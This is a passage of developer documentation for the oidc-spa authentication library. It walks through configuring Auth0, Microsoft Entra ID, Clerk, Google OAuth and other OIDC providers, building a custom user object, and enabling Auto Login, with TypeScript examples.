6. **Allowed Logout URLs**: Copy paste what you put into **Allowed Callback URLs**
7. **Allowed Web Origins** and **Allowed Origins (CORS):** The origins of the Callback URLs
8. Click **Save Changes**
9. Copy the **Client ID**

<figure><img src="/files/HyPtKkU9mF8PbxVcVQkq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8AWoIsrFTGrfQvlUP3DB" alt=""><figcaption></figcaption></figure>

## Creating an API

If you need Auth0 to issue a JWT access token for your API, follow these steps:

1. Navigate to [Auth0 Dashboard](https://manage.auth0.com/dashboard).
2. In the left panel, go to **Applications → APIs**.
3. Click **Create API**.
4. Navigate to the Settings tab
5. Fill up **Identifier**: Ideally, use your API's root URL (e.g., `https://myapp.my-company.com/api`). However, this is just an identifier, so any unique string works. Copy it, it is your audience (aud claim in the access token's JWT)
6. Under **Access Token Settings: We want to reduce the lifespan of the access token, the 24 hour default is non acceptable for an SPA usecase.**
   * **Maximum Access Token Lifetime**: `5 minutes` (300 seconds), can be even shorter. It only need to be valid for the duration of transit from the frontend to the backend.
   * **Implicit/Hybrid Flow Access Token Lifetime**: `5 minutes` – required to save settings, even if unused.
7. Under the Application Access tab: Click on the edit button on the line of the Application we've created in the previous step (ex: My App), Under "User Delegated Access", click the "Grant Access" button.
8. Click **Save**

<figure><img src="/files/eXl9c3loQhHAJHhlSGn0" alt=""><figcaption></figcaption></figure>

## (Optional) Configuring Auto Logout

If you want users to be [**automatically logged out**](/features/auto-logout) after a period of inactivity, follow these steps.

### When and Why Enable Auto Logout?

For **security-critical applications** like banking or admin dasboards users should:

* Log in **on every visit**.
* Be **logged out after inactivity**.

This prevents unauthorized access if a user steps away from their device.

For apps like social media or e-comerce shop on the other hand it's best **not** to enable auto logout.

### Configuring Session Expiration in Auth0

1. Navigate to [Auth0 Dashboard](https://manage.auth0.com/dashboard).
2. Click **Settings** in the left panel.
3. Open the **Advanced** tab.
4. Configure **Session Expiration**:
   * **Idle Session Lifetime**: `30 minutes` (1800 seconds) – logs out inactive users. Copy the value in seconds this will be your `idleSessionLifetimeInSeconds`.
   * **Maximum Session Lifetime**: `14 days` (20160 minutes) – ensures active users stay logged in.

Since Auth0 **does not issue refresh tokens** (or issues non-JWT ones), inform `oidc-spa` of your settings:

## Providing the Parameters to oidc-spa

{% tabs %}
{% tab title="Framwork Agnostic" %}
{% code title="src/oidc.ts" %}

```typescript
createOidc({
    issuerUri: "auth.my-company.com",
    clientId: "DzXSmwQS7oSTQGLbafhrPXYLT0mOMyZD"
    extraQueryParams: {
       audience: "https://app.my-company.com/api"
    },
    // Auth0 puts DPoP behind a paywall. Explicitely disable it until you have 
    // enabled it in the Auth0 dashboard.
    disableDPoP: true,
    // (Optional) This must be kept in sync with the Idle Session Lifetime value 
    // configured in the Auth0 dashboard. To ensure correct autoLogout behavior.
    idleSessionLifetimeInSeconds: 1800,
    
    // ...
});
```

{% endcode %}
{% endtab %}

{% tab title="React" %}

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript">bootstrapOidc({
    issuerUri: "auth.my-company.com",
    clientId: "DzXSmwQS7oSTQGLbafhrPXYLT0mOMyZD"
    extraQueryParams: {
       audience: "https://app.my-company.com/api"
    },
    // Auth0 puts DPoP behind a paywall. Explicitely disable it until you have 
    // enabled it in the Auth0 dashboard.
    disableDPoP: true,
    // (Optional) This must be kept in sync with the Idle Session Lifetime value 
    // configured in the Auth0 dashboard. To ensure correct autoLogout behavior.
    idleSessionLifetimeInSeconds: 1800,
    // ...
});

// In TanStack Start: 
    .withAccessTokenValidation({
        type: "RFC 9068: JSON Web Token (JWT) Profile for OAuth 2.0 Access Tokens",
<strong>        expectedAudience: () => "https://app.my-company.com/api",
</strong>        // ...
    })
</code></pre>

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
Oidc.provide({
    issuerUri: "auth.my-company.com",
    clientId: "DzXSmwQS7oSTQGLbafhrPXYLT0mOMyZD"
    extraQueryParams: {
       audience: "https://app.my-company.com/api"
    },
    // Auth0 puts DPoP behind a paywall. Explicitely disable it until you have 
    // enabled it in the Auth0 dashboard.
    disableDPoP: true,
    // (Optional) This must be kept in sync with the Idle Session Lifetime value 
    // configured in the Auth0 dashboard. To ensure correct autoLogout behavior.
    idleSessionLifetimeInSeconds: 1800,
})
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Production vs Development

When testing on `localhost`, a page reload can lose authentication state. Auth0 may also show the consent screen each time it needs to restore auth.

This behavior is expected during development. It does not occur in production when you use a custom domain.

Auth0 treats `localhost` as a third-party application. Review [Auth0's consent guidance](https://auth0.com/docs/get-started/applications/third-party-applications/user-consent-and-third-party-applications#skip-consent-for-first-party-applications) for details.

<figure><img src="/files/hnriaE7VXYn958SbRaTp" alt="Example of consent screen you may see in developement but not in production" width="375"><figcaption><p>Example of consent screen you may see in developement but not in production</p></figcaption></figure>


# Microsoft Entra ID

Formerly Azure Active Directory

{% embed url="<https://youtu.be/upcAmYq4JLY>" %}

## Declaring your Backend API

This step is important so that the access token issued by Entra ID are in JWT format and specificially crafter for for your backend API.

1. Go to [Microsoft Azure Portal](https://portal.azure.com/).
2. In the left panel, select **"Microsoft Entra ID"**.
3. Navigate to **"Manage > App Registrations"**.
4. Click **"New Registration"**.
5. Enter **"My App - API"** as the name, then click **Register**.
6. In the left menu, go to **"Manage > Expose API"**.
7. Click **"Add a scope"**.
8. Configure as follows, then click **"Add Scope"**:
   * **Application ID URI**: `api://my-app-api` (then save and continue)
   * **Scope name**: `access_as_user`
   * **Who can consent**: Admins and Users
   * **Admin Consent Display Name**: "View user basic profile"
   * **Admin Consent Description**: "Read permission on the basic user profile"
   * **User Consent Display Name**: "View your basic profile"
   * **User Consent Description**: "Allows the app to see your basic profile (e.g., name, picture, user name, email address)"
   * **State**: Enabled

{% hint style="info" %}
The **Application (client) ID** if this App Registration will be the audience claim (aud) that you will need to provide to your backend token validation API.
{% endhint %}

***

## Registering Your Application

1. Go to [Microsoft Azure Portal](https://portal.azure.com/).
2. In the left panel, select **"Microsoft Entra ID"**.
3. Navigate to **"Manage > App Registrations"**.
4. Click **"New Registration"**.
5. Enter **"My App"** as the display name (replace with your actual app name).
6. Click **Register**.
7. Click **"Add a Redirect URI"**.
8. Click **"Add Platform"** > **"Single-Page Application"**.
9. Set **Redirect URIs**: Add at least two
   * **Production**: `https://my-app.com/` (include trailing slash; adjust if hosted under a subpath, e.g., `https://my-app.com/dashboard/`)
   * **Local Development**: `http://localhost:5173/` (include trailing slash; adjust based on your dev server)
10. Click **Save**.
11. In the left panel, go to **"API Permissions"**.
12. Click **"Add a permission"**.
13. Click **"APIs My Organization Uses"**.
14. Select **"My App - API"**.
15. Check **"access\_as\_user"**, then click **"Add permission"**.
16. In the left panel, click **"Overview"** and write down somewhere:
    * `CLIENT_ID=<Application (client) ID>`
    * `DIRECTORY_ID=<Directory (tenant) ID>`

These are required to configure `oidc-spa`.

***

## Providing the parameters to oidc-spa

{% tabs %}
{% tab title="Framwork Agnostic" %}
{% code title="src/oidc.ts" %}

```typescript
// Directory (tenant) ID:
const DIRECTORY_ID = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application (client) ID:
const CLIENT_ID = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application ID URI: (Of the API!)
const SCOPE_FOR_API= "api://my-app-api/access_as_user";

createOidc({
    issuerUri: `https://login.microsoftonline.com/${DIRECTORY_ID}/v2.0`,
    clientId: CLIENT_ID,
    scopes: ["profile", SCOPE_FOR_API],
    // ...
});
```

{% endcode %}
{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
// Directory (tenant) ID:
const DIRECTORY_ID = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application (client) ID:
const CLIENT_ID = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application ID URI: (Of the API!)
const SCOPE_FOR_API= "api://my-app-api/access_as_user";

bootstrapOidc({
    issuerUri: `https://login.microsoftonline.com/${DIRECTORY_ID}/v2.0`,
    clientId: CLIENT_ID,
    scopes: ["profile", SCOPE_FOR_API],
    // ...
});
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
// Directory (tenant) ID:
const DIRECTORY_ID = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application (client) ID:
const CLIENT_ID = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application ID URI: (Of the API!)
const SCOPE_FOR_API= "api://my-app-api/access_as_user";

Oidc.provide({
    issuerUri: `https://login.microsoftonline.com/${DIRECTORY_ID}/v2.0`,
    clientId: CLIENT_ID,
    scopes: ["profile", SCOPE_FOR_API],
})
```

{% endcode %}
{% endtab %}
{% endtabs %}


# Clerk

{% hint style="warning" %}
Technically, it works now, but there are still a few ways the "OAuth" feature in Clerk needs to be improved to fully comply with the standard so that generic clients work seamlessly.\
The team has been very helpful so far and already fixed the most critical issues.\
Once the remaining problems are addressed, I’ll update this page.

If you want to use it today, here are the required workarounds:

* Set [`noIframe: true`](/resources/iframe-related-issues)
* Set [`__unsafe_useIdTokenAsAccessToken: true`](/providers-configuration/google-oauth) if you need the access token to be a JWT (by default, the issued access token is opaque)
* In the Clerk admin, make sure the consent pages are **not** enabled
  {% endhint %}


# Google OAuth 2.0

Implement "Login with Google"

With `oidc-spa`, you would typically use an OIDC Provider like Keycloak or Auth0 to centralize authentication and configure Google as an identity provider within Keycloak. This allows users to select "Google" as a login option.

That being said, if you really want to, you can configure `oidc-spa` directly with Google, as demonstrated in the following video:

{% embed url="<https://youtu.be/d0RgnM4vXbc>" %}

## Google Cloud Console Configuration

To set up authentication via Google, follow these steps in the **Google Cloud Console**:

1. Navigate to **Google Cloud Platform Console**.
2. Go to **API & Services** → **Credentials**.
3. Click **Create Credentials** → **OAuth Client ID**.
4. Choose **Application Type: Web Application**.
5. Set the **Authorized Redirect URIs**:
   * **<https://my-app.com/>** and **<http://localhost:5173/>** (Ensure the trailing slash is included).
   * If your app is hosted under a subpath (e.g., `/dashboard`), set:
     * **<https://my-app.com/dashboard/>**
     * **<http://localhost:5173/dashboard/>**
   * `5173` is Vite's default development server port—adjust as needed.
6. Set the **Authorized JavaScript Origins** to match the origins of your redirect URIs.

<figure><img src="/files/PCVL0ZCqcCW3b297boYL" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
**Client Secret**

Google's OAuth implementation has a significant flaw: **PKCE-based authentication fails unless a client secret is provided**.

For public clients, storing secrets is inherently insecure. **PKCE (Proof Key for Code Exchange)** exists precisely to prevent code interception, and Google supports PKCE. **Requiring a client secret in addition to PKCE is unnecessary and misleading**.

That said, **providing the client secret in your frontend code for this specific case has no security implications**. This is purely a poor API design decision on Google's part.
{% endhint %}

{% hint style="warning" %}

### Subtituing the Access Token by the ID Token

Google do not issue JWT Access Tokens and there is no way to configure it so it does.

As a result, if you want to implement an API you'll have to call Google's special endpoint to validate the access token and get user infos.\
You won't be able to implement the standard approach for validating token described in the[ Web API](broken://pages/9h0o4hUvuUAMeveFCosj) section.

Well there is a way to go around this, and that is to ask oidc-spa to substitute the Acess Token by the ID token.

Be aware that this is a hack, the ID token is not meant to be sent to the API but it works.
{% endhint %}

Here’s how to configure `oidc-spa` to work with Google:

{% tabs %}
{% tab title="Vanilla" %}

```typescript
import { createOidc } from "oidc-spa";

export const prOidc = createOidc({
    issuerUri: "https://accounts.google.com",
    clientId: "928024164279-ifjvmsffi64slkk81h3gmoh7p03ev68k.apps.googleusercontent.com",
    homeUrl: import.meta.env.BASE_URL,
    scope: ["profile", "email",
    /*Obtionally more scopes to get more infos in the id token like "https://www.googleapis.com/auth/youtube.readonly", ...*/
    ],
    __unsafe_clientSecret: "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",
    __unsafe_useIdTokenAsAccessToken: true
});
```

{% endtab %}

{% tab title="React" %}

```typescript
import { createReactOidc } from "oidc-spa/react";

export const { OidcProvider, useOidc, getOidc } = createReactOidc({
    issuerUri: "https://accounts.google.com",
    clientId: "928024164279-ifjvmsffi64slkk81h3gmoh7p03ev68k.apps.googleusercontent.com",
    homeUrl: import.meta.env.BASE_URL,
    scope: ["profile", "email", 
       /*Obtionally more scopes to get more info in the id token like "https://www.googleapis.com/auth/youtube.readonly", ...*/
    ],
    __unsafe_clientSecret: "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",
    __unsafe_useIdTokenAsAccessToken: true
});
```

{% endtab %}
{% endtabs %}

## Testing

```bash
npx degit https://github.com/keycloakify/oidc-spa/examples/tanstack-router-file-based oidc-spa-tanstack-router
cd oidc-spa-tanstack-router
cp .env.local.sample .env.local

# Edit .env.local, uncomment the Google section and comment the Keycloak section
# replace the values by your own.

yarn
yarn dev
```


# Other OIDC Provider

If you are using an OIDC provider other than the ones for which we have [a specific guide](https://github.com/keycloakify/docs.oidc-spa.dev/blob/v6/providers-configuration/broken-reference/README.md), follow these general instructions to configure your OIDC provider.

{% hint style="warning" %}
Some providers don’t support SPAs as true **public OIDC clients**.

Before you proceed, make sure your provider supports:

* **Authorization Code Flow + PKCE**
* **Public clients** (no client secret; no client-credentials flow). If it lets you declare application type Single Page Application (SPA) you're good.
* Configuring **redirect URIs** (login + post-logout)
* Configuring **web origins / CORS** for your app’s origin

Direct integration with “social login” providers (Google, GitHub, Facebook, etc.) is **not supported**. Use an identity platform like [Auth0](/providers-configuration/auth0) or [Microsoft Entra ID](/providers-configuration/microsoft-entra-id) to broker social logins.
{% endhint %}

## Creating the Client Application

* Create a **Public** OpenID Connect client.
  * OpenID Connect clients may also be referred to as **OIDC clients** or **OAuth clients**.
  * When asked, **disable client credentials,** or check **Public Client: true**.
  * Some providers will ask you to select an application type and choose between Single Page Application (SPA), Web Application (or Web Server App), and Mobile App. **Select SPA**.
  * You may need to explicitly provide a Client ID, or it may be generated automatically. This is the `clientId` parameter required by oidc-spa.
* **Valid Redirect URIs**:\
  **<https://my-app.com/>** and **[http://localhost:\*\*\[\*\*5173](https://docs.oidc-spa.dev/providers-configuration/http:/localhost:**\[**5173)**]\(#user-content-fn-1)[^1]**/**
  * The trailing slash (`/`) is important.
  * If your app is hosted on a subpath (e.g., `/dashboard`), set:\
    **<https://my-app.com/dashboard/>** and **<http://localhost:5173/dashboard/>**
  * Port `5173` is the default for the Vite dev server; adjust as needed for your setup.
* **Valid Post-Logout Redirect URIs**:\
  Use the same values as the **Valid Redirect URIs**.
* **Web Origins**:\
  **<https://my-app.com>**, **<http://localhost:5173>**

## How Do I Find the `issuerUri`?

The issuer URI is not always clearly documented, it depends on the provider.

If you are given a Discovery URL like:

```
https://XXX/.well-known/openid-configuration
```

Then your `issuerUri` is:

```
https://XXX
```

If you suspect a URL might be the issuer URI but are unsure, append `/.well-known/openid-configuration` to it and open it in a web browser. If it returns a JSON response, then you have found your issuer URI!

## Getting JWT Access Tokens Issued

Many providers issue **opaque** access tokens by default. Opaque tokens require **introspection** on every request. Currently oidc-spa/server does not support them and probably never will because validating them requires aditional configuration setp and unessesary network roundtrip.

### Check what you’re currently getting

Copy your access token and look at its shape:

* `xxx.yyy.zzz` → **JWT**
* Anything else → **opaque**

### How providers usually make you get a JWT

1. Create an **API / Resource Server** in the provider.
2. Request tokens **for that API** during login.

The last step is provider-specific. You will usually pass one of these:

* `audience` (common on Auth0)
* an API `scope` (common on Entra ID)

In `oidc-spa`, this is usually one of these patterns:

```typescript
createOidc({
  // ...
  // Provider-specific API targeting:
  extraQueryParams: {
    // audience: "https://my-api",
  },
  // Provider-specific permissions:
  // scope: "openid profile email api.read"
});
```

### Examples

* [Auth0: create an API + set an audience](/providers-configuration/auth0#creating-an-api)
* [Microsoft Entra ID: configure the API + request a scope](/providers-configuration/microsoft-entra-id#configuring-entra-id-to-issue-a-jwt-access-token)

### Validate it on the backend

Once you get a JWT, validate it with the provider’s JWKS. See: [Backend Token Validation](/integration-guides/backend-token-validation).

[^1]: This is the default port that Vite dev server uses. Addapt to your setup to be able to run your app in localhost.


# The User Object

{% hint style="warning" %}
**Coming in oidc-spa v10.3.** This feature has not been released yet.
{% endhint %}

## Access the User in Your App

Once configured, your custom user model is available throughout your frontend code.

{% tabs %}
{% tab title="Framework Agnostic" %}
{% code title="src/greeting.ts" overflow="wrap" %}

```typescript
import { prOidc } from "./oidc";

export async function getGreeting() {
    const oidc = await prOidc;

    if (!oidc.isUserLoggedIn) {
        return "Hello!";
    }

    const { user } = await oidc.getUser();

    return `Hello ${user.displayName}!`;
}
```

{% endcode %}
{% endtab %}

{% tab title="React" %}
In a component where login is already enforced:

{% code title="src/components/Greeting.tsx" overflow="wrap" %}

```tsx
import { useOidc } from "../oidc";

export function Greeting() {
    const { user } = useOidc({ assert: "user logged in" });

    return <p>Hello {user.displayName}!</p>;
}
```

{% endcode %}

In browser code outside a React component:

{% code title="src/greeting.ts" overflow="wrap" %}

```typescript
import { getOidc } from "./oidc";

export async function getGreeting() {
    const oidc = await getOidc({ assert: "user logged in" });
    const { user } = await oidc.getUser();

    return `Hello ${user.displayName}!`;
}
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% hint style="info" %}
The user abstraction is not available in the Angular adapter yet.
{% endhint %}
{% endtab %}
{% endtabs %}

The `user` object is your application's model of the signed-in person. Shape it around what the **frontend needs to render**.

## Implement `createUser`

Keep `src/oidc.user.ts` focused on translating identity data into the model consumed by your UI:

1. Define a `User` type containing exactly the information your UI needs.
2. Implement `createUser` to gather that information and return a `User`.

Here are some example of the sources you can use to construct the user object.

{% tabs %}
{% tab title="ID token" %}
The decoded payload of the ID token is the simplest source when it already contains everything your UI needs.

{% code title="src/oidc.user.ts" overflow="wrap" %}

```typescript
import type { CreateUser } from "oidc-spa/core";
import { z } from "zod";

export type User = {
    displayName: string;
    email: string | undefined;
    avatarUrl: string | undefined;
};

// Match this schema to the claims guaranteed by your provider.
// Available claims depend on its configuration and the requested scopes.
const DecodedIdToken = z.object({
    name: z.string(),
    email: z.string().optional(),
    picture: z.string().optional()
});

export const createUser: CreateUser<User> = ({ 
    decodedIdToken: decodedIdToken_generic 
}) => {
    const decodedIdToken = DecodedIdToken.parse(decodedIdToken_generic);

    const user: User = {
        displayName: decodedIdToken.name,
        email: decodedIdToken.email,
        avatarUrl: decodedIdToken.picture
    };
    
    return user;
};

export const user_mock: User = {
    displayName: "John Doe",
    email: "john.doe@example.com",
    avatarUrl: undefined
};
```

{% endcode %}
{% endtab %}

{% tab title="Your API" %}
A dedicated endpoint is often the best option when the model depends on your application's database.

{% code title="src/oidc.user.ts" overflow="wrap" %}

```typescript
import type { CreateUser } from "oidc-spa/core";
import { z } from "zod";

const UserFromApi = z.object({
    displayName: z.string(),
    avatarUrl: z.string().url().optional(),
    canManageBilling: z.boolean()
});

export type User = z.infer<typeof UserFromApi>;

export const createUser: CreateUser<User> = async ({ accessToken }) => {

    const { fetchWithAuth } = await import("./oidc");
    
    const response = await fetchWithAuth("/api/user");

    if (!response.ok) {
        throw new Error(`GET /api/user failed with ${response.status}`);
    }

    return UserFromApi.parse(await response.json());
};

export const user_mock: User = {
    id: "user-123",
    displayName: "John Doe",
    avatarUrl: undefined,
    canManageBilling: true
};
```

{% endcode %}

The backend validates the access token, identifies the caller, loads the corresponding record, and returns an application-specific object.
{% endtab %}

{% tab title="JWT access token" %}
Some providers expose roles or groups only in a JWT access token. This Keycloak-shaped example turns those roles into UI-friendly fields.

{% hint style="warning" %}
OAuth clients should normally treat access tokens as opaque. Use this pattern only when your provider documents that the access token is a JWT with a stable claim shape. `decodeJwt()` decodes the payload; it does **not** validate the token. Never use this client-side result to protect backend data.
{% endhint %}

{% code title="src/oidc.user.ts" overflow="wrap" %}

```typescript
import type { CreateUser } from "oidc-spa/core";
import { decodeJwt } from "oidc-spa/decode-jwt";
import { z } from "zod";

export type User = {
    displayName: string;
    roles: string[];
    canSeeAdminNavigation: boolean;
};

const DecodedIdToken = z.object({
    name: z.string()
});

// Replace the schema with the claim shape guaranteed by your provider.
const DecodedAccessToken = z.object({
    realm_access: z
        .object({
            roles: z.array(z.string())
        })
        .optional()
});

export const createUser: CreateUser<User> = ({
    decodedIdToken: decodedIdToken_generic,
    accessToken
}) => {
    const decodedIdToken = DecodedIdToken.parse(decodedIdToken_generic);
    const decodedAccessToken = DecodedAccessToken.parse(decodeJwt(accessToken));
    const roles = decodedAccessToken.realm_access?.roles ?? [];

    return {
        displayName: decodedIdToken.name,
        roles,
        canSeeAdminNavigation: roles.includes("realm-admin")
    };
};

export const user_mock: User = {
    displayName: "John Doe",
    roles: ["realm-admin"],
    canSeeAdminNavigation: true
};
```

{% endcode %}
{% endtab %}

{% tab title="UserInfo" %}
`fetchUserInfo()` calls the standard OIDC UserInfo endpoint discovered from your provider's metadata and attaches the current access token.

{% code title="src/oidc.user.ts" overflow="wrap" %}

```typescript
import type { CreateUser } from "oidc-spa/core";
import { z } from "zod";

export type User = {
    id: string;
    displayName: string;
    email: string | undefined;
    avatarUrl: string | undefined;
};

const UserInfo = z.object({
    sub: z.string(),
    name: z.string(),
    email: z.string().email().optional(),
    picture: z.string().url().optional()
});

export const createUser: CreateUser<User> = async ({ fetchUserInfo }) => {
    const userInfo = UserInfo.parse(await fetchUserInfo());

    return {
        id: userInfo.sub,
        displayName: userInfo.name,
        email: userInfo.email,
        avatarUrl: userInfo.picture
    };
};

export const user_mock: User = {
    id: "user-123",
    displayName: "John Doe",
    email: "john.doe@example.com",
    avatarUrl: undefined
};
```

{% endcode %}

No UserInfo request is made unless you call `fetchUserInfo()`. The available claims still depend on your requested scopes and provider configuration.
{% endtab %}

{% tab title="Keycloak profile" %}
Provider-specific APIs can expose information that is not available through standard OIDC claims. For Keycloak, oidc-spa includes a typed helper for the account profile.

{% code title="src/oidc.user.ts" overflow="wrap" %}

```typescript
import type { CreateUser } from "oidc-spa/core";
import { createKeycloakUtils } from "oidc-spa/keycloak";

export type User = {
    username: string;
    displayName: string;
    email: string | undefined;
};

export const createUser: CreateUser<User> = async ({ 
    decodedIdToken, 
    accessToken, 
    issuerUri 
}) => {
    const keycloakUtils = createKeycloakUtils({ issuerUri });
    const profile = await keycloakUtils.fetchUserProfile({ accessToken });

    return {
        username: profile.username ?? decodedIdToken.sub,
        displayName: [profile.firstName, profile.lastName].join(" "),
        email: profile.email
    };
};

export const user_mock: User = {
    username: "john.doe",
    displayName: "John Doe",
    email: "john.doe@example.com"
};
```

{% endcode %}

The endpoint must be enabled and accessible to your client. Keep this provider-specific code inside `createUser` so the rest of the UI remains provider-agnostic.
{% endtab %}
{% endtabs %}

<details>

<summary>What else is available to <code>createUser</code>?</summary>

* `decodedIdToken` is the raw decoded ID token payload. Validate the claims your UI depends on, even if you also configured `withExpectedDecodedIdTokenShape()`.
* `accessToken` is the current access token. Use it to call a resource server, but do not store it in `User` because tokens rotate.
* `fetchUserInfo` lazily calls the discovered standard UserInfo endpoint.
* `issuerUri` lets you select provider-specific behavior.
* `user_current` is `undefined` on the first build and contains the previous model during subsequent rebuilds.

`createUser` may return a `User` directly or a promise. Do not call `getUser()` directly or indirectly from inside it: `getUser()` is already waiting for `createUser()` to finish.

</details>

## Connect It to Your Adapter

`createUser` is framework-independent. Register it when configuring oidc-spa. If your project supports mock mode, register `user_mock` alongside it.

{% tabs %}
{% tab title="Framework Agnostic" %}

<pre class="language-typescript" data-title="src/oidc.ts" data-overflow="wrap"><code class="lang-typescript">import { createOidc } from "oidc-spa/core";
import { createMockOidc } from "oidc-spa/core-mock";
<strong>import { createUser, user_mock } from "./oidc.user";
</strong>
export const prOidc =
    import.meta.env.VITE_OIDC_USE_MOCK === "true"
        ? createMockOidc({
              isUserInitiallyLoggedIn: true,
<strong>              mockedUser: user_mock
</strong>          })
        : createOidc({
              issuerUri: import.meta.env.VITE_OIDC_ISSUER_URI,
              clientId: import.meta.env.VITE_OIDC_CLIENT_ID,
<strong>              createUser
</strong>          });
</code></pre>

{% endtab %}

{% tab title="React SPA" %}

<pre class="language-typescript" data-title="src/oidc.ts" data-overflow="wrap"><code class="lang-typescript">import { oidcSpa } from "oidc-spa/react-spa";
<strong>import { createUser, user_mock, type User } from "./oidc.user";
</strong>
export const { bootstrapOidc, useOidc, getOidc, /* ... */ } = oidcSpa
<strong>    .withUser&#x3C;User>({ createUser, user_mock })
</strong>    .createUtils();
</code></pre>

When `bootstrapOidc()` receives `{ implementation: "mock", ... }`, it uses this `user_mock` by default. You can override it by passing a different `user_mock` to that bootstrap call.
{% endtab %}

{% tab title="TanStack Start" %}

<pre class="language-typescript" data-title="src/oidc.ts" data-overflow="wrap"><code class="lang-typescript">import { oidcSpa } from "oidc-spa/react-tanstack-start";
<strong>import { createUser, user_mock, type User } from "./oidc.user";
</strong>
export const { 
    bootstrapOidc, 
    useOidc, 
    getOidc, 
    oidcFnMiddleware,
    oidcRequestMiddleware,
    /* ... */ 
} = oidcSpa
<strong>    .withUser&#x3C;User>({ createUser, user_mock })
</strong>    .createUtils();
</code></pre>

When `bootstrapOidc()` receives `{ implementation: "mock", ... }`, it uses this `user_mock` by default. You can override it by passing a different `user_mock` to that bootstrap call.

{% hint style="info" %}
In TanStack Start, frontend components and the resource server share a project, but they do not share a trust boundary.

The app-level `user` is created in the browser for UI concerns. On the backend, server functions and API handlers identify and authorize the caller from the validated `oidc.accessTokenClaims` supplied by `oidcFnMiddleware` or `oidcRequestMiddleware`. See [TanStack Start example repo](/integration-guides/tanstack-router-start/tanstack-start).
{% endhint %}
{% endtab %}

{% tab title="Angular" %}
{% hint style="info" %}
Angular support is not implemented yet, so there is currently no `createUser` registration API.
{% endhint %}
{% endtab %}
{% endtabs %}

## Keep the User Up to Date

`oidc-spa` runs `createUser` when it first builds the signed-in user's model. It runs `createUser` again when it detects meaningful changes in the decoded ID token or the decoded payload of a JWT access token. Routine rotation-only changes, such as new `iat` or `exp` values, do not rebuild the user.

When `createUser` reads from an external source, such as your API, UserInfo, or a provider-specific profile endpoint, `oidc-spa` cannot detect changes to that source. After an update succeeds, call `refreshUser()` to rebuild the user.

With the real implementation, `refreshUser()` renews the tokens, forces `createUser` to run again, notifies user subscribers, and resolves to the refreshed `User`. In mock mode, it simply resolves to the configured `user_mock`.

{% tabs %}
{% tab title="Framework Agnostic" %}
{% code title="src/profile.ts" overflow="wrap" %}

```typescript
import { prOidc } from "./oidc";

export async function refreshCurrentUser() {
    const oidc = await prOidc;

    if (!oidc.isUserLoggedIn) {
        throw new Error("Cannot refresh the user: no user is logged in");
    }

    const { refreshUser } = await oidc.getUser();

    return refreshUser();
}
```

{% endcode %}

Call `refreshCurrentUser()` after the external update has completed.
{% endtab %}

{% tab title="React" %}
{% code title="src/components/SaveProfileButton.tsx" overflow="wrap" %}

```tsx
import { useOidc } from "../oidc";

type Props = {
    saveProfile: () => Promise<void>;
};

export function SaveProfileButton({ saveProfile }: Props) {
    // NOTE: Also available outside of react with 
    // const { refreshUser } = await oidc.getUser();
    const { refreshUser } = useOidc({ assert: "user logged in" });

    async function onClick() {
        await saveProfile();
        await refreshUser();
    }

    return (
        <button type="button" onClick={onClick}>
            Save profile
        </button>
    );
}
```

{% endcode %}

Components that read `user` through `useOidc()` re-render with the refreshed value.
{% endtab %}

{% tab title="Angular" %}
{% hint style="info" %}
The user abstraction is not available in the Angular adapter yet.
{% endhint %}
{% endtab %}
{% endtabs %}


# Auto Login

Enforce authentication everywhere in your app.

Auto Login is a mode in **oidc-spa** designed for applications where **every page requires authentication**.

This is common for admin dashboards or internal tools that don’t expose any public or “marketing” pages.

When Auto Login is enabled, visiting your application automatically redirects the user to the IdP’s login page whenever no active session is detected.

The goal of this mode is to simplify your app’s authentication model.\
In the regular mode, where you *do* have public pages, you need to:

* Enforce login on specific routes: call `login()`, use `enforceLogin()`, or wrap pages with `withLoginEnforced()`.
* Explicitly check whether the user is logged in or not.

But if your app has **no public pages**, all of this can be simplified.\
Auto Login lets you assume the user is always logged in, and that **every page implicitly requires authentication**.

{% tabs %}
{% tab title="Framwork Agnostic" %}
Here the `oidc` object will always be of type Oidc.UserLoggedIn, there is no need to check `if( oidc.isUserLoggedIn )` anywhere.

```typescript
import { createOidc } from "oidc-spa/core";

const oidc = await createOidc({
    // ...
    autoLogin: true
});
```

{% endtab %}

{% tab title="TanStack Start" %}
{% code title="src/oidc.ts" %}

```diff
 import { oidcSpa } from "oidc-spa/react-tanstack-start";
 
 export const {
     bootstrapOidc,
     useOidc,
     getOidc,
     oidcFnMiddleware,
     oidcRequestMiddleware,
-    enforceLogin
 } = oidcSpa
     .withExpectedDecodedIdTokenShape({ /* ... */ })
     .withAccessTokenValidation({ /* ... */ })
+    .withAutoLogin()
     .createUtils();
```

{% endcode %}

<pre class="language-tsx" data-title="src/routes/__root.tsx"><code class="lang-tsx">import { HeadContent, Scripts, createRootRoute } from "@tanstack/react-router";

import Header from "@/components/Header";
import { AutoLogoutWarningOverlay } from "@/components/AutoLogoutWarningOverlay";
<strong>import { useOidc } from "@/oidc";
</strong>
export const Route = createRootRoute({
    // ...
    shellComponent: ShellComponent,
<strong>    // NOTE: Even with SSR disabled here, the ShellComponent is still SSR'd.
</strong><strong>    // Only page components lose SSR.  
</strong><strong>    // You *can* disable SSR per-page for routes that don't load authed data,
</strong><strong>    // but if your app isn’t public, it’s simpler to SSR only the shell.  
</strong><strong>    ssr: false
</strong>});

function ShellComponent({ children }: { children: React.ReactNode }) {

    const { isOidcReady } = useOidc();
    
    return (
        &#x3C;html lang="en">
            &#x3C;head>
                &#x3C;HeadContent />
            &#x3C;/head>
            &#x3C;body>
                &#x3C;div className="min-h-screen flex flex-col">
                    &#x3C;Header />
                    &#x3C;main className="flex flex-1 flex-col">
<strong>                        {isOidcReady &#x26;&#x26;
</strong>                            children
